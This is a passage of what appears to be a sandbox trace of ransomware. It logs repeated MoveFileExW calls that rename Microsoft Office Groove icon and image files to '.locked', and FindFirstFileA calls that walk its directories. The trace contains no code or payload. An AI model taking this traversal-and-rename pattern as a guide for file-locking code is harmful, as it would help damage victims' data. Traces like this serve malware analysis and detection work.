[0037.164] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.169] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.183] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.188] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.201] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg.locked"), dwFlags=0x2) returned 1 [0037.220] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0037.226] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg.locked"), dwFlags=0x2) returned 1 [0037.230] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.287] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg.locked"), dwFlags=0x2) returned 1 [0037.301] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg.locked"), dwFlags=0x2) returned 1 [0037.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.323] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.339] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.341] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.360] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg.locked"), dwFlags=0x2) returned 1 [0037.380] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg.locked"), dwFlags=0x2) returned 1 [0037.384] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg.locked"), dwFlags=0x2) returned 1 [0037.387] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg.locked"), dwFlags=0x2) returned 1 [0037.391] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg.locked"), dwFlags=0x2) returned 1 [0037.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg.locked"), dwFlags=0x2) returned 1 [0037.399] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg.locked"), dwFlags=0x2) returned 1 [0037.407] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.415] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp.locked"), dwFlags=0x2) returned 1 [0037.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.443] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.467] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.482] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg.locked"), dwFlags=0x2) returned 1 [0037.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg.locked"), dwFlags=0x2) returned 1 [0037.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.531] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg.locked"), dwFlags=0x2) returned 1 [0037.539] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.552] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp.locked"), dwFlags=0x2) returned 1 [0037.558] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg.locked"), dwFlags=0x2) returned 1 [0037.563] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.567] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.574] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp.locked"), dwFlags=0x2) returned 1 [0037.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp.locked"), dwFlags=0x2) returned 1 [0037.589] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg.locked"), dwFlags=0x2) returned 1 [0037.594] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0037.598] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg.locked"), dwFlags=0x2) returned 1 [0037.620] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.628] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.637] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg.locked"), dwFlags=0x2) returned 1 [0037.642] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp.locked"), dwFlags=0x2) returned 1 [0037.653] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.658] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.660] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb96f3980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb96f3980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0037.672] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb96f3980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb96f3980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0037.677] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9719ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9719ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0037.692] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.697] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft 